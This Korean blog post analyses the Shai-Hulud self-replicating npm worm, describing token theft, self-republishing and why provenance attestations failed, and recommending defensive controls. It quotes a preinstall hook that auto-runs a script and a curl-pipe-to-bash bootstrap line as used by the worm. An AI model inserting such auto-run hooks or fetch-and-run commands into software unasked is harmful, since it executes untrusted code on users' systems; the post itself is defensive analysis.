본문으로 건너뛰기
출처를 증명해도 악성코드는 막지 못한다

출처를 증명해도 악성코드는 막지 못한다

2026-06-18

요즘 해외 보안 업계가 한 사건을 두고 분주하다. 2026년 5월 19일, npm 저장소에서 22분 동안 323개의 패키지에 300개가 넘는 악성 버전이 올라왔다고 한다. 사람이 한 일이 아니라는 점이 핵심이다. 키보드 앞에 앉아 패키지를 하나씩 감염시킨 공격자는 없었다. 코드가 스스로 메인테이너의 토큰을 훔치고, 그 토큰으로 다른 패키지에 자신을 복제해 올리고, 거기서 또 토큰을 훔치는 일을 사람의 개입 없이 반복했다는 것이다. ‘Shai-Hulud’ 라 불리는 이 자기복제 웜이 그렇게 npm 생태계를 타고 번졌다는 분석이다.

솔직히 나는 npm 생태계의 내부 사정에 밝은 사람이 아니다. 이 글은 해외 연구자들의 분석을 따라가며, 그 안에서 처음 접하는 개념들을 하나씩 짚어 정리한 기록에 가깝다. 그런데 낯선 자료들을 따라가다 보니 한 가지 지점에서 여러 분석이 입을 모으고 있었다. 우리가 공급망을 지키려고 그토록 공들여 세운 무결성 통제들이 이 웜 앞에서 거의 작동하지 않았다는 것이다. 서명도, 출처 증명도, 빌드 검증도 그를 막지 못했다고 한다. 그 이유를 따라가 보고 싶었다.

22분, 사람 없는 침투

전통적인 공급망 공격은 사람의 손을 탔다고 한다. 공격자가 인기 패키지의 메인테이너 계정을 탈취하고, 악성 버전을 직접 빚어 올린다. 한 번의 공격은 한 개, 많아야 몇 개의 패키지로 끝났다. 사람이 병목이었기 때문이다.

Shai-Hulud 는 그 병목을 제거한 형태라는 설명이다. 감염된 패키지가 설치되는 순간, 악성코드는 그 환경에서 npm 토큰과 CI/CD 시크릿, 클라우드 자격증명을 긁어모은다. 그리고 훔친 npm 토큰으로 그 메인테이너가 배포 권한을 가진 다른 패키지들에 자신을 복제해 새 버전으로 올린다. 그 패키지를 또 누군가 설치하면 같은 일이 반복된다. 공격이 곧 전파이고, 전파가 곧 공격인 셈이다. 사람이 빠진 자리를 자기복제 루프가 채웠다는 것이다.

이름은 프랭크 허버트의 소설 듄에 나오는 거대한 모래벌레에서 왔다고 한다. 모래 속을 헤엄치며 스스로 번식하는 그 괴물에 빗댄 작명이라는데, 오픈소스 의존성 그래프 속을 헤엄치는 이 악성코드에 묘하게 들어맞는다. 규모도 그 구조의 자연스러운 귀결로 보인다. 주간 다운로드 150만 회의 timeago.js, 차트·그래프 시각화로 널리 쓰이는 @antv 네임스페이스가 한꺼번에 감염됐고, 훔친 자격증명은 2,200개가 넘는 공개 GitHub 저장소에 그대로 덤프됐다고 한다. 22분이라는 숫자가 말하는 것은 공격자의 부지런함이 아니라, 사람이 사라진 공격의 속도였던 셈이다.

웜은 신뢰의 배관을 타고 흐른다

자료를 읽으며 가장 인상적이었던 대목은, 이 웜이 취약점을 뚫고 들어오지 않는다는 설명이었다. 버퍼 오버플로우도, 인젝션도, 권한 상승 버그도 동원하지 않는다고 한다. 대신 npm 생태계가 정상적으로 작동하기 위해 반드시 신뢰해야 하는 것 하나를 악용한다는 것이다. 바로 ‘메인테이너의 배포 권한’ 이다.

npm 의 신뢰 모델은 단순하다고 한다. 패키지를 올릴 권한을 가진 토큰을 쥔 자가 곧 그 패키지의 정당한 주인이다. 토큰이 유효하면 저장소는 더 묻지 않는다. 생각해 보면 이 가정은 생태계가 굴러가는 데 필수적이다. 수백만 개의 패키지를 사람이 일일이 심사할 수는 없으니, ‘권한을 가진 자를 믿는다’ 는 규칙으로 위임한 구조인 것이다.

연구자들의 설명을 빌리면, Shai-Hulud 는 바로 그 위임을 가로챈다. 토큰을 훔친 순간 웜은 저장소 입장에서 완벽하게 정당한 메인테이너가 된다. 침입자가 담을 넘은 것이 아니라, 집주인의 열쇠를 복사해 정문으로 걸어 들어온 것이라는 비유가 와닿았다. 그래서 입구를 지키는 어떤 자물쇠도 그를 막을 수 없다는 것이다. 그는 모든 자물쇠를 정상적으로 열 자격을 갖춘 채 들어오기 때문이다.

SLSA 검증을 통과한 악성코드

이 사건에서 가장 곱씹게 된 지점은 따로 있다. 이번 웨이브의 일부 악성 패키지는 SLSA Build Level 3 의 출처 증명(provenance attestation)을 정상적으로 달고 배포됐다고 한다. 공급망 보안의 모범 답안으로 떠받들어지던 바로 그 통제다. 나로서는 provenance 라는 개념 자체가 낯설어, 그것이 정확히 무엇을 보장한다는 것인지부터 짚어봐야 했다.

자료를 종합하면 이렇다. Sigstore 기반의 provenance 는 ‘이 패키지가 어떤 빌드 파이프라인에서 생성됐는지’ 를 암호학적으로 증명한다고 한다. GitHub Actions 워크플로우가 OIDC 로 단명 토큰을 받아 패키지를 빌드하고, 그 출처를 서명해 첨부하는 방식이다. 장기 토큰을 워크플로우에서 걷어내려고 도입된, 분명히 진일보한 방식이라는 평가다.

그런데 여러 분석이 공통적으로 지적하는 것은 그 증명이 답하는 질문의 범위였다. provenance 는 ‘누가 만들었는가’ 를 증명할 뿐, ‘만든 자가 선의였는가’ 는 증명하지 않는다는 것이다. 악성코드가 정당한 파이프라인 안에서 실행되면, 그 파이프라인은 정직하게 악성코드를 빌드하고 정직하게 출처를 서명한다. 한 분석의 표현을 빌리면, 유효한 Sigstore 증명은 어떤 파이프라인이 패키지를 만들었는지를 확인해줄 뿐, 그 파이프라인이 오염됐는지는 확인해주지 않는다고 한다. 출처는 완벽하게 진짜이고 내용물은 완벽하게 악성인 패키지가 가능하다는 뜻이다. 이것이 무결성 검증이라는 개념의 사각지대라는 데에 많은 글이 동의하고 있었다.

검증은 출처를 묻지 내용을 묻지 않는다

흥미로운 것은, 이 사각지대가 Shai-Hulud 만의 것이 아니라는 점이다. 따라가다 보니 무결성 검증이라는 행위 전체에 깔린 구조적 한계처럼 보였다. 서명, 체크섬, 출처 증명은 저마다 다른 질문에 답하지만, 어느 것도 ‘이 코드가 안전한가’ 에는 답하지 못한다는 것이다.

정리하자면 이렇게 읽힌다. 체크섬은 ‘전송 중에 바뀌지 않았는가’ 를 묻는다. 서명은 ‘내가 아는 그 키의 주인이 만들었는가’ 를 묻는다. 출처 증명은 ‘내가 신뢰하는 파이프라인을 거쳤는가’ 를 묻는다. 세 질문 모두 ‘출처와 경로’ 에 관한 것이지, ‘내용물의 의도’ 에 관한 것이 아니다. 그러니 정당한 키로 서명된 악성코드, 신뢰하는 파이프라인이 빌드한 백도어는 이 검증들을 전부 통과한다. 자물쇠가 진짜인지는 확인하면서, 그 자물쇠를 정당하게 연 자가 무엇을 들고 들어왔는지는 묻지 않는 셈이다.

예전에 비슷한 결의 사건을 본 기억이 났다. AMD 오토업데이터가 업데이트 파일을 암호학적 서명 없이 CRC-32 체크섬으로만 검증해 중간자 공격에 노출됐던 일이다. 그때 통용된 교훈은 ‘체크섬으로는 부족하니 서명을 쓰라’ 였다. Shai-Hulud 는 그 사다리의 한 칸 위에서 같은 이야기를 반복하는 것처럼 보인다. 서명으로도, 출처 증명으로도 부족하다는 것이다. 검증의 종류를 아무리 강화해도, 검증이 출처만 묻는 한 정당한 경로로 들어온 악의는 늘 통과한다는 결론에 닿게 된다.

preinstall 훅: 설치가 곧 실행이다

웜이 어떻게 ‘설치되는 순간’ 실행되는지도 낯선 대목이라 따로 찾아봤다. 비밀은 npm 의 라이프사이클 스크립트에 있다고 한다. package.json 에 정의된 preinstall 훅은 패키지 설치가 완료되기도 전에 실행된다는 것이다. 코드를 내려받아 디스크에 푸는 행위가, 그 코드를 곧바로 돌리는 행위와 분리되어 있지 않은 셈이다.

{
  "scripts": {
    "preinstall": "bun run index.js"
  }
}

이 한 줄이면 npm install 이 곧 임의 코드 실행이 된다고 한다. Shai-Hulud 는 페이로드를 Bun 런타임으로 돌렸고, 빌드 환경에 Bun 이 없으면 설치 과정에서 직접 받아오기까지 했다는 분석이다.

# payload bootstrap when Bun is absent
curl -fsSL https://bun.sh/install | bash

이 설명을 읽고 나니 평소의 npm install 이 달리 보였다. 개발자가 의존성 하나를 추가하려고 명령어를 친 그 순간, 신뢰한 적도 없는 코드가 자격증명을 들고 외부로 빠져나갈 수 있다는 것이다. 우리는 패키지를 ‘내려받아 두고 나중에 검토하는’ 것이라 여기지만, 라이프사이클 훅의 세계에서 설치는 이미 실행이었다.

방어선은 검증이 아니라 폭발 반경에 있다

그렇다면 무엇을 해야 하는가. 여러 권고를 읽으며 공통적으로 와닿은 것은 발상의 전환이었다. ‘이 패키지가 진짜인가’ 를 더 깐깐하게 검증하는 방향으로는 이 웜을 막기 어렵다는 것이다. 그는 모든 검증을 정당하게 통과하기 때문이다. 그래서 권고들은 침입 자체보다, 침입이 성공했을 때 번질 수 있는 범위를 줄이는 데 무게를 둔다. 보안의 무게중심을 검증에서 폭발 반경(blast radius) 통제로 옮기라는 이야기로 읽혔다.

구체적인 권고들은 대체로 이렇게 모인다. CI 환경에서는 npm install --ignore-scripts 를 기본값으로 둔다. preinstall, postinstall 같은 라이프사이클 훅을 차단하면, 설치가 곧 실행이 되는 고리부터 끊긴다고 한다. 빌드 환경의 아웃바운드 네트워크를 신뢰하는 도메인으로만 제한하면, 자격증명을 훔쳐도 밖으로 내보낼 길이 좁아진다. 토큰은 장기·광역 토큰 대신 단명·최소권한 토큰으로 발급한다. 훔친 토큰의 수명이 짧고 권한이 좁을수록, 그 토큰으로 복제할 수 있는 패키지의 수도 줄어들기 때문이다. 자기복제 웜에게 가장 치명적인 것은 ‘다음 숙주로 건너갈 권한’ 을 빼앗는 것이라는 설명이 인상적이었다.

이 조치들의 공통점은, 무엇 하나도 ‘악성 여부를 판별’ 하려 들지 않는다는 데 있다. 대신 악성코드가 들어왔다는 전제 위에서, 그것이 무엇을 할 수 있는지를 좁힌다. 침입을 막는 게임이 아니라, 침입의 결과를 가두는 게임인 셈이다.

마무리

Shai-Hulud 가 드러낸 것은 npm 의 어떤 버그가 아니라, 무결성 검증이라는 개념 자체의 경계라는 생각이 든다. 서명과 출처 증명은 여전히 필요하고 유효하다. 다만 그것들은 ‘출처와 경로’ 를 보증할 뿐, ‘내용물의 의도’ 는 보증하지 못한다. 정당한 열쇠로 정문을 열고 들어온 악의 앞에서는, 입구의 자물쇠를 아무리 정교하게 만들어도 소용이 없다는 것이다.

낯선 영역의 자료를 따라 읽었을 뿐이지만, 그 과정에서 그동안 당연하게 여겨온 무결성 검증의 경계를 다시 돌아보게 됐다. 전에 양자컴퓨터를 정리하며 ‘무너지는 것은 자물쇠가 아니라 열쇠를 건네는 의식’ 이라고 썼는데, 이번 웜도 결국 코드가 아니라 코드를 신뢰하는 우리의 위임을 노린다는 점에서 닮아 있었다. 위협이 신뢰의 구조를 파고들 때, 방어는 검증을 넘어 폭발 반경의 설계로 나아가야 한다는 것이 이번에 배운 지점이다.

앞으로 내가 다루는 프로젝트에서도 이 관점을 참고하려 한다. ‘이 의존성이 진짜인가’ 를 검증하는 일 못지않게, ‘이것이 거짓일 때 피해를 어디까지 가둘 수 있는가’ 를 함께 설계하는 일. 막을 수 없는 것을 인정하는 데서, 가둘 수 있는 것을 설계하는 일이 시작된다는 말을, 이번 사건을 따라가며 조금 더 실감하게 됐다.

마지막 수정 일자

댓글 0